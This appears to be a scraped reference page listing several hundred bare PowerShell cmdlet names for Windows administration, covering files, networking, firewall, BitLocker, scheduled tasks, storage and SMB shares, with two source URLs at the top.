https://activedirectorypro.com/powershell-commands/
https://www.infosecmatter.com/pure-powershell-infosec-cheatsheet/
buying me a coffee
Get-Command
Get-Help
Get-Member
Add-AppxPackage
Add-AppxProvisionedPackage
Add-Computer
Add-Content
Add-KdsRootKey
Add-LocalGroupMember
Add-Member
Add-PSSnapin
Add-Type
Add-WindowsCapability
Add-WindowsPackage
Clear-Content
Clear-Variable
Compare-Object
Confirm-SecureBootUEFI
Convert-Path
ConvertFrom-Csv
ConvertFrom-Json
ConvertFrom-SecureString
ConvertFrom-String
ConvertFrom-StringData
ConvertTo-Csv
ConvertTo-Html
ConvertTo-Json
ConvertTo-Xml
ConvertTo-SecureString
Copy-Item
Disable-WindowsOptionalFeature
Enable-PSRemoting
Enable-WindowsOptionalFeature
Enable-WSManCredSSP
Enter-PSSession
Exit-PSSession
Export-Certificate
Export-Clixml
Export-Csv
Export-ModuleMember
Export-PfxCertificate
Export-StartLayout
Export-WindowsDriver
Find-Package
ForEach-Object
Format-Custom
Format-List
Format-Table
Format-Wide
Get-Acl
Get-Alias
Get-AppvClientPackage
Get-AppxPackage
Get-AppxProvisionedPackage
Get-AuthenticodeSignature
Get-BitsTransfer
Get-Certificate
Get-ChildItem
Get-CimInstance
Get-Clipboard
Get-ComputerInfo
Get-Content
Get-Counter
Get-Credential
Get-Culture
Get-Date
Get-Event
Get-EventLog
Get-ExecutionPolicy
Get-History
Get-Host
Get-HotFix
Get-Item
Get-ItemProperty
Get-ItemPropertyValue
Get-Job
Get-LocalGroup
Get-LocalGroupMember
Get-LocalUser
Get-Location
Get-Module
Get-Package
Get-PfxCertificate
Get-Process
Get-PSDrive
Get-PSSession
Get-PSSnapin
Get-Random
Get-ScheduledJob
Get-Service
Get-Tpm
Get-Unique
Get-Variable
Get-ScheduledJob
Get-WindowsCapability
Get-WindowsOptionalFeature
Get-WinEvent
Get-WmiObject
Group-Object
Import-Certificate
Import-Csv
Import-Clixml
Import-Module
Import-PfxCertificate
Import-PSSession
Import-StartLayout
Install-Package
Install-PackageProvider
Invoke-CimMethod
Invoke-Command
Invoke-Expression
Invoke-Item
Invoke-RestMethod
Invoke-WebRequest
Invoke-WmiMethod
Join-Path
Measure-Command
Measure-Object
Move-Item
Mount-WindowsImage
New-Alias
New-CimSession
New-EventLog
New-Item
New-ItemProperty
New-JobTrigger
New-LocalUser
New-Object
New-PSDrive
New-PSSession
New-PSSessionOption
New-SelfSignedCertificate
New-Service
New-TimeSpan
New-Variable
New-WebServiceProxy
Out-Default
Out-File
Out-GridView
Out-Host
Out-Null
Out-Printer
Out-String
Push-Location
Read-Host
Receive-Job
Register-ObjectEvent
Register-ScheduledJob
Remove-AppxPackage
Remove-AppxProvisionedPackage
Remove-Computer
Remove-Item
Remove-ItemProperty
Remove-Module
Remove-PSDrive
Remove-PSSession
Remove-Variable
Remove-WmiObject
Rename-Computer
Rename-Item
Repair-WindowsImage
Reset-ComputerMachinePassword
Resolve-DnsName
Resolve-Path
Restart-Computer
Restart-Service
Select-Object
Select-String
Select-Xml
Send-MailMessage
Set-Acl
Set-Alias
Set-AuthenticodeSignature
Set-Content
Set-Culture
Set-Date
Set-DscLocalConfigurationManager
Set-ExecutionPolicy
Set-Item
Set-ItemProperty
Set-LocalUser
Set-Location
Set-PSDebug
Set-PSSessionConfiguration
Set-Service
Set-StrictMode
Set-TimeZone
Set-Variable
Set-WinSystemLocale
Set-WinUserLanguageList
Set-WmiInstance
Set-WSManQuickConfig
Sort-Object
Split-Path
Start-BitsTransfer
Start-DscConfiguration
Start-Job
Start-Process
Start-Service
Start-Sleep
Start-Transcript
Stop-Computer
Stop-Process
Stop-Service
Stop-Transcript
Tee-Object
Test-ComputerSecureChannel
Test-Connection
Test-Path
Test-WSMan
Unblock-File
Uninstall-Package
Update-Help
Wait-Job
Wait-Process
Where-Object
Write-Debug
Write-Error
Write-EventLog
Write-Host
Write-Information
Write-Output
Add-MpPreference
Enable-BitLocker
Enable-NetFirewallRule
Get-BitLockerVolume
Get-NetFirewallRule
Get-WindowsUpdateLog
New-NetFirewallRule
Set-MpPreference
Set-NetFirewallProfile
Set-NetFirewallRule
Suspend-BitLocker
Add-VpnConnection
Add-VpnConnectionRoute
Disable-NetAdapterBinding
Get-DnsClientServerAddress
Get-InitiatorPort
Get-NetAdapter
Get-NetAdapterVmq
Get-NetConnectionProfile
Get-NetIPConfiguration
Get-NetIPAddress
Get-NetIPInterface
Get-NetTCPConnection
New-NetIPAddress
New-NetLbfoTeam
New-NetNat
New-NetRoute
Remove-NetIPAddress
Set-DnsClientServerAddress
Set-NetAdapter
Set-NetAdapterVmq
Set-NetConnectionProfile
Set-NetIPAddress
Set-NetIPInterface
Test-NetConnection
Find-Module
Get-InstalledModule
Get-PSRepository
Install-Module
Invoke-Pester
Register-PSRepository
Save-Module
Set-PSRepository
Uninstall-Module
Update-Module
Update-Script
Get-ScheduledTask
Get-ScheduledTaskInfo
New-ScheduledTask
New-ScheduledTaskAction
New-ScheduledTaskPrincipal
New-ScheduledTaskSettingsSet
New-ScheduledTaskTrigger
Register-ScheduledTask
Set-ScheduledTask
Unregister-ScheduledTask
Add-Printer
Add-PrinterDriver
Add-PrinterPort
Get-Printer
Remove-Printer
Set-Printer
Clear-Disk
Format-Volume
Get-Disk
Get-Partition
Get-PhysicalDisk
Get-StorageJob
Get-VirtualDisk
Get-Volume
Initialize-Disk
Mount-DiskImage
New-Partition
New-StoragePool
New-VirtualDisk
New-Volume
Optimize-Volume
Remove-PhysicalDisk
Repair-Volume
Resize-Partition
Set-Disk
Set-Partition
Set-PhysicalDisk
Clear-Host
Compress-Archive
Expand-Archive
Get-FileHash
New-Guid
Set-Clipboard
Get-SmbConnection
Get-SmbOpenFile
Get-SmbServerConfiguration
Get-SmbSession
Get-SmbShare
Get-SmbShareAccess
Grant-SmbShareAccess
New-SmbMapping
New-SmbShare
Set-SmbClientConfiguration
Set-SmbShare
Set-SmbServerConfiguration
Get-StartApps
Get-PnpDevice
this section